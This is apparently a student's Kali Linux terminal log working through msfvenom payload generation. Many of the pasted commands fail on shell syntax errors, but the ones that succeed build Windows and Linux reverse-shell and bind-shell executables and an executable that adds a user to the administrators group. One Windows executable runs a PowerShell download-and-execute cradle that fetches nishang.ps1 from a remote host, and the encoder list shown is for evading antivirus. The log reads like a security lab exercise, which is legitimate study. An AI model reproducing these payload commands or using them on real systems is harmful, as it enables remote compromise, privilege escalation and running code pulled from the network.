Samiha Azeem

231462422

zsh: corrupt history file /home/samiha/.zsh\_history

┌──(samiha㉿kali)-[~/Desktop]

└─$ curl ifconfig.me

103.155.62.2

┌──(samiha㉿kali)-[~/Desktop]

└─$ ^[[200~msfvenom -l payloads #Payloads

zsh: bad pattern: ^[[200~msfvenom

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -l encoders #Encoders~

Framework Encoders [--encoder <value>]

======================================

Name Rank Description

---- ---- -----------

cmd/brace low Bash Brace Expansion Command Encoder

cmd/echo good Echo Command Encoder

cmd/generic\_sh manual Generic Shell Variable Substitution Co

mmand Encoder

cmd/ifs low Bourne ${IFS} Substitution Command Enc

oder

cmd/perl normal Perl Command Encoder

cmd/powershell\_base64 excellent Powershell Base64 Command Encoder

cmd/printf\_php\_mq manual printf(1) via PHP magic\_quotes Utility

Command Encoder

generic/eicar manual The EICAR Encoder

generic/none normal The "none" Encoder

mipsbe/byte\_xori normal Byte XORi Encoder

mipsbe/longxor normal XOR Encoder

mipsle/byte\_xori normal Byte XORi Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 Encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor\_tag normal PPC LongXOR Encoder

ruby/base64 great Ruby Base64 Encoder

sparc/longxor\_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x64/xor\_context normal Hostname-based Context Keyed Payload E

ncoder

x64/xor\_dynamic normal Dynamic key XOR Encoder

x64/zutto\_dekiru manual Zutto Dekiru

x86/add\_sub manual Add/Sub Encoder

x86/alpha\_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha\_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid\_underscore\_to manual Avoid underscore/tolower

lower

x86/avoid\_utf8\_tolower manual Avoid UTF8/tolower

x86/bloxor manual BloXor - A Metamorphic Block Based XOR

Encoder

x86/bmp\_polyglot manual BMP Polyglot

x86/call4\_dword\_xor normal Call+4 Dword XOR Encoder

x86/context\_cpuid manual CPUID-based Context Keyed Payload Enco

der

x86/context\_stat manual stat(2)-based Context Keyed Payload En

coder

x86/context\_time manual time(2)-based Context Keyed Payload En

coder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv\_mov normal Variable-length Fnstenv/mov Dword XOR

Encoder

x86/jmp\_call\_additive normal Jump/Call XOR Additive Feedback Encode

r

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/opt\_sub manual Sub Encoder (optimised)

x86/service manual Register Service

x86/shikata\_ga\_nai excellent Polymorphic XOR Additive Feedback Enco

der

x86/single\_static\_bit manual Single Static Bit

x86/unicode\_mixed manual Alpha2 Alphanumeric Unicode Mixedcase

Encoder

x86/unicode\_upper manual Alpha2 Alphanumeric Unicode Uppercase

Encoder

x86/xor\_dynamic normal Dynamic key XOR Encoder

x86/xor\_poly normal XOR POLY Encoder

┌──(samiha㉿kali)-[~/Desktop]

└─$ ^[[200~-b "\x00\x0a\x0d"

zsh: bad pattern: ^[[200~-b

┌──(samiha㉿kali)-[~/Desktop]

└─$ -f c

-f: command not found

┌──(samiha㉿kali)-[~/Desktop]

└─$ -e x86/shikata\_ga\_nai -i 5

-e: command not found

┌──(samiha㉿kali)-[~/Desktop]

└─$ EXITFUNC=thread

┌──(samiha㉿kali)-[~/Desktop]

└─$ PrependSetuid=True #Use this to create a shellcode that will execute something with SUID~

┌──(samiha㉿kali)-[~/Desktop]

└─$ -b "\x00\x0a\x0d"

-f c

-e x86/shikata\_ga\_nai -i 5

EXITFUNC=thread

PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

-b: command not found

-f: command not found

-e: command not found

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p windows/meterpreter/reverse\_tcp LHOST=(103.155.62.2) LPORT=(80) -f exe > reverse.exe

zsh: unknown file attribute: 1

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p windows/meterpreter/bind\_tcp RHOST=(103.155.62.2) LPORT=(80) -f exe > bind.exe

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

Error: Password: attacker@123 doesn't meet complexity requirements and may cause issues

┌──(samiha㉿kali)-[~/Desktop]

└─$

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p windows/shell/reverse\_tcp LHOST=(103.155.62.2) LPORT=(80) -f exe > prompt.exe

zsh: unknown file attribute: 1

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe

msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

No encoder specified, outputting raw payload

Payload size: 267 bytes

Final size of exe file: 73802 bytes

No encoder specified, outputting raw payload

Payload size: 225 bytes

Final size of exe file: 73802 bytes

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p windows/meterpreter/reverse\_tcp -e shikata\_ga\_nai -i 3 -f exe > encoded.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

[-] Skipping invalid encoder shikata\_ga\_nai

[!] Couldn't find encoder to use

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p windows/shell\_reverse\_tcp LHOST=<103.155.62.2> LPORT=<80> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

zsh: no such file or directory: 103.155.62.2

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=(103.155.62.6) LPORT=(80) -f elf > reverse.elf

msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=103.155.62.2 LPORT=80 -f elf > shell.elf

zsh: unknown file attribute: 1

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 74 bytes

Final size of elf file: 194 bytes

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=(103.155.62.2) LPORT=(80) -f elf > reverse.elf

msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=103.155.62.2 LPORT=80 -f elf > shell.elf

zsh: unknown file attribute: 1

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 74 bytes

Final size of elf file: 194 bytes

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom -p linux/x86/meterpreter/bind\_tcp RHOST=(103.155.62.2) LPORT=(80) -f elf > bind.elf

zsh: unknown file attribute: 1

┌──(samiha㉿kali)-[~/Desktop]

└─$ msfvenom --platform=solaris --payload=solaris/x86/shell\_reverse\_tcp LHOST=(103.155.62.2) LPORT=(80) -f elf -e x86/shikata\_ga\_nai -b '\x00' > solshell.elf

zsh: unknown file attribute: 1

┌──(samiha㉿kali)-[~/Desktop]

└─$

┌──(samiha㉿kali)-[~/Desktop]

└─$